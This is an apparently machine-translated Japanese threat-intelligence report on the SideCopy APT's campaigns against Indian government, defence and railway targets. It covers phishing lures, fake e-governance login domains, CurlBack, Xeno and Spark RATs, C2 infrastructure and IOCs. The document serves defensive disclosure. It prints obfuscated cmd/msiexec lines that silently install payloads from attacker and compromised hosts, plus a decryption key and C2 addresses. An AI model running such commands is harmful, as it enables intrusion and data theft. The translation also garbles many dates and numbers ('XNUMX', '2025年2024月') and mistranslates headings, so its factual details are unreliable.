Seqrite Labs APTチームは、2024年12月最終週以降に展開されたパキスタン関連のSideCopy APTの新たな戦術を発見しました。このグループは、インド政府、国防、海事部門、大学生といった従来の標的範囲から、鉄道、石油・ガス、外務省傘下の組織へと標的を拡大しています。最近の攻撃キャンペーンにおける注目すべき変化の一つは、主要なステージングメカニズムとしてHTMLアプリケーション（HTA）ファイルの使用からMicrosoftインストーラー（MSI）パッケージの採用へと移行したことです。
攻撃者は検出を回避するために戦術を絶えず進化させており、この変化はDLLサイドローディングとマルチプラットフォーム侵入の継続的な使用によって推進されています。この進化には、反射型ローディングや、Async RATと同様に機能拡張のためにXeno RATやSpark RATなどのオープンソースツールを再利用といった手法も含まれています。さらに、C2サーバーに被害者を登録するCurlBack RATと呼ばれる新しいペイロードも確認されています。
主な発見
- 攻撃者の電子メール ID に関連付けられたユーザー名は、侵害された ID を利用して、サイバー セキュリティの経歴を持つ政府職員になりすましています。
- オープンディレクトリを備えた電子政府サービスを模倣した偽のドメインは、ペイロードと認証情報フィッシングのログインページをホストするために使用されます。
- 13 個のサブドメインと URL は、すべてマハラシュトラ州の複数の市町村法人 (CMC) のさまざまな RTS サービスのログイン ページをホストしています。
- 水資源省管轄の国家水文学プロジェクト (NHP) の公式ドメインが侵害され、悪意のあるペイロードが配信されました。
- PowerShell によるリソース セクションのリフレクション ロードや AES 復号化などの新しい戦術を使用して、C# ベースのオープン ソース ツール XenoRAT のカスタム バージョンを展開します。
- LinuxプラットフォームをターゲットとするGolangベースのオープンソースツールSparkRATの修正版が、同じ方法で展開されました。 ステージャー 以前はPoseidonおよびAres RATペイロードに使用されていました。
- DLLサイドローディング技術を利用したCurlBackと呼ばれる新しいRATが使用されています。CurlBackは、UUIDを介して被害者をC2サーバーに登録し、curlを使用したファイル転送をサポートします。
- ハニートラップをテーマにしたキャンペーンは、パキスタンの担当者に機密データを漏洩したとして告発された政府職員の逮捕と同時期に、2025年2024月とXNUMX年XNUMX月に確認されました。
- 2024年2025月に確認された教育ポータルサイトが、XNUMX年XNUMX月に再び攻撃を受け、大学生を標的とした新しいURLが使用されました。これらのURLは「気候変動」「研究」「専門職」というXNUMXつの異なるテーマを採用しています（詳細な分析は録画でご覧いただけます）。 こちらSideCopy APT の 6 つの異なるクラスターについて説明します。
- SideCopyの親グループであるAPT36は、アフガニスタン・イスラム首長国の囚人管理局（OPA）に関連するテーマで長年活動を続けた後、アフガニスタンを標的にしました。「未来の戦争に向けたリーダーシップの育成」をテーマとしたLinuxシステムを標的とした最近の攻撃では、AES/RC4暗号化ステージャーを使用してMeshAgent RMMツールをドロップしています。
インド省の管轄下にある対象分野
- 鉄道
- 石油業界
- 外交
- 防衛
フィッシングメール
防衛部門を標的としたこのキャンペーンは、13年2025月65日付のフィッシングメールから始まりました。件名は「協議通り、NDC 65のスケジュールを更新」です。メールには、「NDCXNUMX-Updated-Schedule.pdf」というファイルをダウンロードするためのリンクが含まれており、標的を誘い込むためのものです。
15年2025月XNUMX日に送信されたXNUMX通目のフィッシングメール（件名「このコースのポリシー更新.txt」）にもフィッシングリンクが含まれています。このメールは、不正アクセスされた可能性のある、公式に見えるメールIDから送信されています。インド国防大学（NDC）は、デリーに所在する国家安全保障の戦略および実践を専門とする国防軍の訓練機関であり、インド国防省の管轄下にあります。
攻撃者のメールアドレス「gsosystems-ndc@outlook[.]com」は、10年2025月28日にUAEで作成され、最後に2025年XNUMX月XNUMX日にアクティブだったことが確認されています。OSINT（情報技術情報技術局）によると、類似のメールID「gsosystems.ndc-mod@nic[.]in」は、インドの電子情報技術省（MeitY）傘下の国立情報センター（NIC）に属していることが判明しています。攻撃者のメールにリンクされているユーザー名は、サイバーセキュリティの経歴を持つ政府職員を装っています。
おとり文書
このデコイはインドの国立防衛大学（NDC）に関するもので、第2025期課程（NDC-65）の65年度の年間訓練カレンダー（学習と活動）が掲載されています。ニューデリーに位置するNDCは、インド国防省管轄下の国防軍（インド軍）および公務員の将校のための戦略教育機関であり、最高レベルの教育機関です。
OpenDirとCredPhish
鉄道事業者を標的としたキャンペーンでは、e-Governanceポータルサービスを装った偽ドメインが利用されました。このドメインは16年2023月XNUMX日に作成され、捜査中に特定された複数のファイルをホストするオープンディレクトリを備えています。
合計 13 個のサブドメインが特定されており、次のようなさまざまなシステムのログイン ポータルとして機能します。
- ウェブメール
- 安全タンク管理システム
- 給与システム
- 権限を設定する
これらは認証情報のフィッシングに利用されている可能性が高く、昨年から複数の正規の政府ポータルを装って活発に活動しています。これらのログインページは通常、RTSサービス（公共サービス権利法）に関連しており、様々な市・地方自治体（CMC）に対応しています。これらの偽ポータルはすべて、マハラシュトラ州内の都市に属しています。
- チャンドラプール
- ガドチリ
- アコラ
- Sataraの
- ヴァサイ・ヴィラール
- バラプール
- ミラ・バインダー
次の表は、特定されたサブドメインとそれらが最初に観察された日付を示しています。
| サブドメイン | 最初に見た |
| gadchiroli.egovservice[.]in | 2024-12-16 |
| pen.egovservice[.]in | 2024-11-27 |
| cpcontacts.egovservice[.]in
cpanel.egovservice[.]in webdisk.egovservice[.]in cpcalendars.egovservice[.]in webmail.egovservice[.]in |
2024-01-03 |
| dss.egovservice[.]in
cmc.egovservice[.]in |
2023-11-03 |
| mail.egovservice[.]in | 2023-10-13 |
| pakola.egovservice[.]in
pakora.egovservice[.]in |
2023-07-23 |
| egovservice[.]in | 2023-06-16 |
これらのドメインはすべて、主にAS 140641（YOTTA NETWORK SERVICES PRIVATE LIMITED）で登録された以下のDNS履歴を持っています。これは、正規のサービスを偽装し、無防備なユーザーから認証情報を収集するために組織的に構築されたインフラストラクチャの可能性を示唆しています。
オープンディレクトリをさらに調査したところ、偽ドメインに関連する追加のURLが見つかりました。これらのURLは、同様のフィッシング目的で使用され、さらにおとりコンテンツをホストしている可能性があります。
| hxxps://egovservice.in/vvcmcrts/ |
| hxxps://egovservice.in/vvcmc_safety_tank/ |
| hxxps://egovservice.in/testformonline/test_form |
| hxxps://egovservice.in/payroll_vvcmc/ |
| hxxps://egovservice.in/pakora/egovservice.in/ |
| hxxps://egovservice.in/dssrts/ |
| hxxps://egovservice.in/cmc/ |
| hxxps://egovservice.in/vvcmcrtsballarpur72/ |
| hxxps://egovservice.in/dss/ |
| hxxps://egovservice.in/130521/set_authority/ |
| hxxps://egovservice.in/130521/13/ |
クラスターA
SideCopyの最初の攻撃群は、WindowsとLinux環境の両方を同時に標的とする高度なアプローチを示しています。新たなリモートアクセス型トロイの木馬（RAT）が攻撃手段に加わり、多様なシステムを効果的に侵害する能力が強化されています。
Windows
スピアフィッシングメールのリンクは、二重拡張子（.pdf.lnk）のショートカットを含むアーカイブファイルをダウンロードします。これらのファイルは、一見正当なドメインでホストされています。
| hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/ |
| hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/セキュリティガイドライン/ |
このショートカットは、検出を回避し可読性を低下させるためにエスケープ文字（^）を使用した引数でcmd.exeを起動します。通常「desktop-」という接頭辞が付いている場所に、これらのファイルには新しいマシンID「dv-kevin」が表示されます。
ユーティリティmsiexec.exeは、リモートでホストされているMSIパッケージのインストールに使用されます。インストールスイッチにQuietモードフラグを使用します。
| C:\Windows\System32\cmd.exe /cm^s^i^e^x^e^c.exe /q /ih^t^t^p^s^:^/^/^e^g^o^v^s^e^r^v^i^c^e^.^i^n^/^d^s^s^r^t^s^/^h^e^l^p^e^r^s^/^f^o^n^t^s^/^2^0^2^4^-^N^a^t^i^o^nal-^H^o^l^i^d^a^y^s^-^R^H^-^P^E^R^_^N-^1^/^i^n^s^t^/ |
| C:\Windows\System32\cmd.exe /cm^s^i^e^x^e^c.exe /q /ih^t^t^p^s^:^/^/^n^h^p^.^m^o^w^r^.^g^o^v^.^i^n^/^N^H^P^M^I^S^/^T^r^a^i^n^i^n^g^M^a^t^e^r^i^a^l^/^a^s^p^x^/^S^e^c^u^r^i^t^y^-^G^u^i^d^e^l^i^n^e^s^/^w^o^n^t^/ |
最初のドメインは、オープンディレクトリで見られる偽の電子政府サイトを模倣しており、2番目のドメインは、水資源省傘下の公式国家水文プロジェクトに属する侵害されたドメインです。MSIには、base64エンコードされた複数のPEファイルをドロップする.NET実行ファイルConsoleApp1.exeが含まれています。まず、おとりドキュメントがPublicディレクトリにドロップされて開かれ、残りのPEファイルは「 C:\ProgramData\LavaSoft\ 」にドロップされます。その中には2つのDLLが含まれています。
- 正規のDLL: サンプルオース.dll
- 悪意のあるDLL: DUI70.dll、として識別 CurlBack RAT.
CurlBack RAT
署名済みのWindowsバイナリgirbesre.exe（元の名前はCameraSettingsUIHost.exe）がDLLの横に配置されます。このEXEを実行すると、悪意のあるDLLがサイドロードされます。永続化は、EXEのRunレジストリキーを作成するHTAスクリプト（svnides.hta）を配置することで実現されます。コンパイルタイムスタンプが2024年12月24日と2024年12月30日の2種類の悪意のあるDLLサンプルが発見されました。
CurlBack RATはまず、特定のURLへのレスポンスを「/antivmcommand」コマンドで確認します。レスポンスが「on」の場合は処理を続行し、そうでない場合はチェック状態を維持したまま自身を終了します。以下のレジストリキーを使用して、システム情報と接続されたUSBデバイスの情報を収集します。
- 「SYSTEM\\ControlSet001\\Enum\\USBSTOR」
エクスプローラー、msedge、Chrome、メモ帳、Taskmgr、サービス、Defender、設定を確認するために、接続され実行中のプロセスが列挙されて表示されます。
次に、C2サーバーへのクライアント登録用のUUIDを生成します。生成されたIDは、ユーザー名とともに「 C:\Users\<username>\.client_id.txt」にダンプされます。
IDで登録する前に、正規のバイナリに対して「OneDrive 」という名前のスケジュールされたタスクを介して永続性が設定されます。これは「 C:\Windows\System32\Tasks\OneDrive 」の場所にあります。
C2 ドメインに追加された逆順に並べられた文字列とその目的:
| String | Functionality |
| /レツィガー/ | クライアントをC2に登録する |
| /sdnammoc/ | C2からコマンドを取得する |
| /タエブトラエ/ | C2との接続を定期的に確認する |
| /stluser/ | 結果をC2にアップロードする |
登録されると、接続は維持され、応答で返されるコマンドが取得されます。
応答に何らかの値が含まれている場合、現在のタイムスタンプを取得し、次のいずれかの C2 コマンドを実行します。
| Command | Functionality |
| info | システム情報を収集する |
| ダウンロード | ホストからファイルをダウンロードする |
| 持続性 | 永続設定の変更 |
| ラン | 任意のコマンドを実行する |
| エキス | システムからデータを抽出する |
| 許可 | 権限の確認と昇格 |
| users | ユーザーアカウントを列挙する |
| CMD | コマンドライン操作を実行する |
その他の基本的な機能には、ユーザーとホストの詳細情報の取得、アーカイブファイルの抽出、タスクの作成などがあります。文字列とコードから、悪意のあるDLL内にCURLが存在し、様々なファイル形式の列挙と転送を行っていることがわかります。
- 画像ファイル: GIF、JPEG、JPG、SVG
- テキストファイル: TXT、HTML、PDF、XML
Linux
SideCopyの最初のクラスターは、Windowsを標的とした攻撃に加え、Linux環境も標的としています。悪意のあるアーカイブファイルは、Windows版と同じ名前ですが、更新日は2024年12月20日となっています。このアーカイブにはGo言語ベースのELFバイナリが含まれており、一貫したクロスプラットフォーム戦略を反映しています。分析の結果、ステージャーの機能フローは、 PoseidonおよびAres RATに関連付けられたステージャーとコード上の類似性があることが判明しました。これらはそれぞれTransparent TribeおよびSideCopy APTに関連付けられています。
ステージャー機能:
- あなたが使用します wgetの デコイをダウンロードするコマンド 自治政府サービス ドメインをターゲットディレクトリに /.local/share それを開きます (National-Holidays-RH-PER_N-1.pdf)。
- 最終ペイロードをダウンロードする エルフ as /.local/share/xdg-open そして実行します。
- 現在のユーザー名で、システムの再起動後もペイロードの永続性を維持するために、crontab '/dev/shm/mycron' を作成します。
ステージャーによって配信される最終的なペイロードは、Windows、macOS、Linuxシステムに対応するクロスプラットフォーム対応のオープンソースリモートアクセス型トロイの木馬、Spark RATです。Go言語で記述され、2022年にGitHubでリリースされたこのRATは、500以上のフォークを持つ非常に人気の高いRATです。Spark RATは、C2サーバーとの通信にWebSocketプロトコルとHTTPリクエストを使用します。
Spark RATの機能には、プロセスの管理と終了、ネットワークトラフィックの監視、ファイルの探索と転送、ファイルの編集と削除、コードのハイライト表示、デスクトップの監視、スクリーンショットのキャプチャ、OS情報の取得、リモート端末へのアクセスなどがあります。さらに、シャットダウン、再起動、ログオフ、スリープ、休止状態、画面ロックなどの電源管理機能もサポートしています。
クラスターB
SideCopy の活動の 2023 番目のクラスターは Windows システムをターゲットにしていますが、XNUMX 年以降に観察されたインフラストラクチャに基づいて、Linux システムをターゲットにしているのではないかと疑っています。
感染は、スピアフィッシングメールのリンクから始まり、「NDC65-Updated-Schedule.zip」というアーカイブファイルをダウンロードします。このファイルには、二重拡張子のショートカットファイルが含まれており、このショートカットファイルは、別の侵害ドメインでホストされているリモートHTAファイルを起動します。
- 「hxxps://modspaceinterior.com/wp-content/upgrade/01/ & mshta.exe」
LNKファイル「desktop-ey8nc5b」に関連付けられたマシンIDは、SideCopyの過去のキャンペーンでも確認されていますが、更新日時が「2023:05:26」であることから、古いIDが再利用されている可能性があります。MSIステージャーと並行して、このグループはHTAベースのステージャーも利用し続けており、これはほぼ完全に検出されない状態（FUD）となっています。
HTAファイルにはBase64エンコードされた.NETペイロードBroaderAspect.dllが含まれており、これはデコードされてMSHTAのメモリに直接ロードされます。このバイナリは、ProgramDataディレクトリにドロップされたNDCデコイ文書と、 Publicディレクトリにある追加の.NETステージャーをPDFとして開きます。永続性は「Edgre」という名前のRunレジストリキーで設定され、次のように実行されます。
cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf
暗号化されたペイロード
ドロップされた「Myapp.pdb」という名前の .NET バイナリには、次の 2 つのリソース ファイルがあります。
- 「Myapp.Resources.Document.pdf」
- 「Myapp.Properties.Resources.resources」
最初のファイルは、シーザー暗号を逆方向に9文字シフトして復号化しました。「Public\Downloads\Document.pdf」（122.98 KB）としてドロップされ、これは「Windowsオペレーティングシステム上のリモートアクセス型トロイの木馬の高度な通信技術」に関する2004年のGIAC論文です。
これはおとりではありませんが、暗号化されたペイロードが末尾に追加されています。マルウェアは「%%EOF」マーカーを検索し、PDFデータとEXEデータを分離します。PDFデータは先頭からマーカーまで抽出され、EXEデータはマーカーから6バイト先をスキップして抽出されます。
しばらくすると、EXE データが「Public\Downloads\suport.exe」（49.53 KB）としてドロップされ、PowerShell コマンドをトリガーするためのキーとともに引数として送信されます。
PowerShell ステージ
ポリシーとプロファイルを無視するための基本引数「-NoProfile -ExecutionPolicy Bypass -Command」を指定したPowerShellコマンドの実行が確認されています。送信されるパラメータは以下の2つです。
-EPath 'C:\\Users\\Public\\Downloads\\suport.exe'-EKey 'wq6AHvkMcSKA++1CPE3yVwg2CpdQhEzGbdarOwOrXe0='
しばらく遅延した後、暗号化キーがBase64からデコードされ、最初の16バイトがAES暗号化（PKCS7パディング付きCBCモード）のIVとして扱われます。これは、復号されたバイナリを.NETアセンブリとして直接メモリに読み込み、エントリポイントを呼び出すためです。
カスタム Xeno RAT
最終的な.NETペイロード「DevApp.exe」をダンプすると、Xeno RATに見られるおなじみの機能にたどり着きます。これはオープンソースのリモートアクセス型トロイの木馬で、2023年末に初めて確認されました。主な機能には、HVNC、ライブマイクアクセス、SOCKS5リバースプロキシ、UACバイパス、キーロガーなどがあります。SideCopyが使用するカスタム亜種には、C2とポート79.141.161[.]58:1256を使用した基本的な文字列操作メソッドが追加されています。
昨年、北朝鮮関連のAPT（UAT-5394）によって、MoonPeakと呼ばれるカスタムXeno RATの亜種が使用されました。同様に、DragonSparkやTAG-100といった中国語圏のアクターによって、カスタムSpark RATの亜種が採用されています。
インフラストラクチャとアトリビューション
脅威グループがマルウェアのステージングに使用したドメイン。そのほとんどはGoDaddy.com, LLCがレジストラとなっています。
| ステージングドメイン | 最初に見た | 作成 | ASN |
| modspaceinterior[.]com | 月2025 | 9月2024 | AS 46606 – GoDaddy |
| drjagrutichavan[.]com | 月2025 | 10月2021 | AS 394695 – GoDaddy |
| nhp.mowr[.]gov[.]in | 12月2024 | 2月2005 | AS 4758 – 国立情報学センター |
| egovservice[.]in | 12月2024 | 2023年6月 | AS 140641 – GoDaddy |
| pmshriggssssiwan[.]in | 月2024 | マル2024 | AS 47583 – ホスティング |
| 教育ポータル[.]in | 8月2024 | 8月2024 | AS 22612 – NameCheap |
C2ドメインは、キャンペーンの直前、2024年13335月の最終週に作成されました。カナダのレジストラ「Internet Domain Service BS Corp.」では、カリフォルニアにあるCloudflare ASN XNUMXのIPに解決されます。
| C2ドメイン | 作成 | IP | ASN |
| アップデートウィジェットサービスセンター[.]com | 2024-Dec-25 | 104.21.15[。]163
172.67.163[。]31
|
ASN 13335 – クロフレア |
| アップデート.biossysinternal[.]com | 2024-Dec-23 | 172.67.167[。]230
104.21.13[。]17 |
ASN 202015 – HZ Hosting Ltd. |
Xeno RAT 2[.]79.141.161 の C58 には、ASN 63 の HZ Hosting Limited との一意の共通名 (CN=PACKERP-8KUN202015U) があります。通信に使用されるポートは 1256 ですが、開いている RDP ポート 56777 も確認されています。
両方のC2ドメインはCloudflareのASN 13335に関連付けられており、IPアドレス範囲172.67.xx.xxに解決されます。このASN上の同様のC2ドメインは、以前にもSideCopyによって海事セクターを標的とした攻撃に利用されていました。過去の感染クラスター、観測されたTTP、およびホストされている公開ディレクトリを考慮すると、これらの新しいTTPを用いたキャンペーンは、高い確度でSideCopyによるものと判断されます。
結論
パキスタンに関連するAPTグループ「SideCopy」は、2024年XNUMX月下旬以降、戦術を大幅に進化させ、鉄道、石油・ガス、外務省などの重要セクターを標的に拡大しています。グループは、主要なステージング手段としてHTAファイルからMSIパッケージに移行し、DLLサイドローディング、リフレクションローディング、PowerShellによるAES復号といった高度な手法を継続的に採用しています。さらに、Xeno RATやSpark RATなどのカスタマイズされたオープンソースツールを活用し、新たに特定されたCurlBack RATも導入しています。侵害されたドメインや偽サイトは、認証情報のフィッシングやペイロードのホスティングに利用されており、グループが持続性を高め、検出を回避しようと継続的に取り組んでいることが浮き彫りになっています。
SEQRITE 保護性能
- LNK.サイドコピー.49245.Gen
- LNK.トロイの木馬.49363.GC
- サイドコピー.Mal.49246.GC
- HTA.サイドコピー.49248.Gen
- HTA.サイドコピー.49247.Gen
- HTA.トロイの木馬.49362.GC
- トロイの木馬.Fmq
IOC
Windows
| a5410b76d0cb36786e00d2968d3ab6e4 | 2024-国民の祝日-RH-PER_N-1.zip |
| f404496abccfa93eed5dfda9d8a53dc6 | 2024-国民の祝日-RH-PER_N-1.pdf.lnk |
| 0e57890a3ba16b1ac0117a624f262e61 | セキュリティガイドライン.zip |
| 57c2f8b4bbf4037439317a44c2263346 | セキュリティガイドライン.pdf.lnk |
| 53eebedc3846b7cf5e29a90a5b96c803 | wininstaller.msi |
| 97c3328427b72f05f120e9a98b6f9b09 | インストーラーr.msi |
| 0690116134586d41a23baed300fc6355 | ConsoleApp1.exe |
| ef40f484e095f0f6f207139cb870a16e | ConsoleApp1.exe |
| 9d189e06d3c4cefdd226e645a0b8bdb9 | DUI70.dll |
| 589a65e0f3fe6777d17d0ac36ab07f6f | DUI70.dll |
| 0eb9e8bec7cc70d603d2d8b6efdd6bb5 | 議論された通り、ndc 65 の更新スケジュール.txt |
| 8ceeeec0e33026114f028cbb006cb7fc | このコースのポリシー更新.txt |
| 1d65fa0457a9917809660fff782689fe | NDC65-更新スケジュール.zip |
| 7637cbfa99110fe8e1074e7ead66710e | NDC65-更新スケジュール.pdf.lnk |
| 32a44a8f7b722b078b647e82cb9e85cf | NDC65 更新スケジュール.hta |
| a2dc9654b99f656b4ab30cf5d97fe2e1 | BroaderAspect.dll |
| b45aa156aef2ad2c77b7c623a222f453 | zuidrt.pdf |
| 83ce6ee6ad09a466eb96f347a8b0dc20 | 文書.pdf |
| cf6681cf1f765edb6cae81eeed389f78 | サポート.exe |
| c952aca2036d6646c0cffde9e6f22775 | DevApp.exe (カスタム Xeno RAT) |
Linux
| b5e71ff3932c5ef6319b7ca70f7ba8da | 2024-国民の祝日-RH-PER_N-1.zip |
| 0a67bfda993152c93a212087677f9b60 | 2024年-国民の祝日-RH-PER_N-1․pdf |
| e165114280204c39e99cf0c650477bf8 | clinsixfer.elf (カスタム Spark RAT) |
C2
| 79.141.161 [。] 58：1256 | ゼノラット |
| アップデートウィジェットサービスセンター[.]com
アップデート.biossysinternal[.]com |
CurlBack RAT |
URLは
| hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/ |
| hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/inst/ |
| hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/lns/clinsixfer.elf |
| hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/lns/2024-National-Holidays-RH-PER_N-1.pdf |
| hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/セキュリティガイドライン/ |
| hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/セキュリティガイドライン/wont/ |
| hxxps://updates.widgetservicecenter.com/antivmcommand |
| hxxps://modspaceinterior.com/wp-content/upgrade/02/NDC65-Updated-Schedule.zip |
| hxxps://modspaceinterior.com/wp-content/upgrade/01/ |
| hxxps://modspaceinterior.com/wp-content/upgrade/01/NDC65-Updated-Schedule.hta |
| hxxps://egovservice.in/vvcmcrts/ |
| hxxps://egovservice.in/vvcmc_safety_tank/ |
| hxxps://egovservice.in/testformonline/test_form |
| hxxps://egovservice.in/payroll_vvcmc/ |
| hxxps://egovservice.in/pakora/egovservice.in/ |
| hxxps://egovservice.in/dssrts/ |
| hxxps://egovservice.in/cmc/ |
| hxxps://egovservice.in/vvcmcrtsballarpur72/ |
| hxxps://egovservice.in/dss/ |
| hxxps://egovservice.in/130521/set_authority/ |
| hxxps://egovservice.in/130521/13/ |
ステージングドメイン
| modspaceinterior[.]com |
| drjagrutichavan[.]com |
| nhp.mowr[.]gov[.]in |
| pmshriggssssiwan[.]in |
| 教育ポータル[.]in |
| egovservice[.]in |
| gadchiroli.egovservice[.]in
pen.egovservice[.]in cpcontacts.egovservice[.]in cpanel.egovservice[.]in webdisk.egovservice[.]in cpcalendars.egovservice[.]in webmail.egovservice[.]in www.dss.egovservice[.]in www.cmc.egovservice[.]in cmc.egovservice[.]in dss.egovservice[.]in mail.egovservice[.]in www.egovservice[.]in www.pakola.egovservice[.]in pakola.egovservice[.]in www.pakora.egovservice[.]in pakora.egovservice[.]in |
ホストとPDB
| C:\ProgramData\LavaSoft\Sampeose.dll |
| C:\ProgramData\LavaSoft\DUI70.dll |
| C:\ProgramData\LavaSoft\girbesre.exe |
| C:\ProgramData\LavaSoft\svnides.hta |
| C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf |
| C:\Users\Public\Downloads\Document.pdf |
| C:\Users\Public\Downloads\suport.exe |
| E:\finalRnd\Myapp\obj\Debug\Myapp.pdb |
おとり
| 320bc4426f4f152d009b6379b5257c78 | 2024年国民の祝日-RH-PER_N-1.pdf |
| 9de50f9357187b623b06fc051e3cac4f | セキュリティガイドライン.pdf |
| c9c98cf1624ec4717916414922f196be | NDC65更新スケジュール.pdf |
| 83ce6ee6ad09a466eb96f347a8b0dc20 | 文書.pdf |
MITER ATT＆CK
| TTP | 名前 |
| 偵察 | |
| T1589.002 | 被害者の身元情報を収集する: 電子メールアドレス |
| リソース開発 | |
| T1583.001
T1584.001 T1587.001 T1588.001 T1588.002 T1608.001 T1608.005 T1585.002 T1586.002 |
インフラストラクチャの取得：ドメイン
侵害インフラストラクチャ: ドメイン 機能の開発：マルウェア 機能の取得：マルウェア 機能の取得：ツール ステージ機能：マルウェアのアップロード ステージ機能: リンクターゲット アカウントの確立: 電子メールアカウント 侵害アカウント: 電子メール アカウント |
| 初期アクセス | |
| T1566.002 | フィッシング：スピアフィッシング リンク |
| 実行 | |
| T1106
T1129 T1059 T1047 T1204.001 T1204.002 |
ネイティブAPI
共有モジュール コマンドおよびスクリプト インタプリタ Windowsの管理の実装 ユーザーの実行: 悪意のあるリンク ユーザーの実行：悪意のあるファイル |
| 固執 | |
| T1053.003
T1547.001 |
スケジュールされたタスク/ジョブ: Cron
レジストリ実行キー / スタートアップ フォルダー |
| 権限昇格 | |
| T1548.002 | 昇格制御メカニズムの悪用: ユーザー アカウント制御のバイパス |
| 防衛回避 | |
| T1036.005
T1036.007 T1140 T1218.005 T1574.002 T1027 T1620 |
マスカレード：正当な名前または場所と一致する
マスカレード: 二重のファイル拡張子 ファイルまたは情報の難読化/デコード システムバイナリプロキシ実行: Mshta ハイジャック実行フロー：DLLサイドローディング 難読化されたファイルまたは情報 リフレクションコードの読み込み |
| プーケットの魅力 | |
| T1012
T1016 T1033 T1057 T1082 T1083 T1518.001 |
クエリレジストリ
システムネットワーク構成の検出 システム所有者/ユーザーの発見 プロセスディスカバリー システム情報の発見 ファイルとディレクトリの検出 ソフトウェアの発見: セキュリティ ソフトウェアの発見 |
| 収集 | |
| T1005
T1056.001 T1123 T1113 T1560.001 |
ローカルシステムからのデータ
入力キャプチャ：キーロガー オーディオキャプチャ スクリーンキャプチャ 収集されたデータのアーカイブ: ユーティリティによるアーカイブ |
| コマンドおよび制御 | |
| T1105
T1571 |
入力ツール転送
非標準ポート |
| exfiltration | |
| T1041 | C2チャネルを介した浸透 |
著者：
サトウィック・ラム・プラッキ
カルティックマル・ジヴァニ
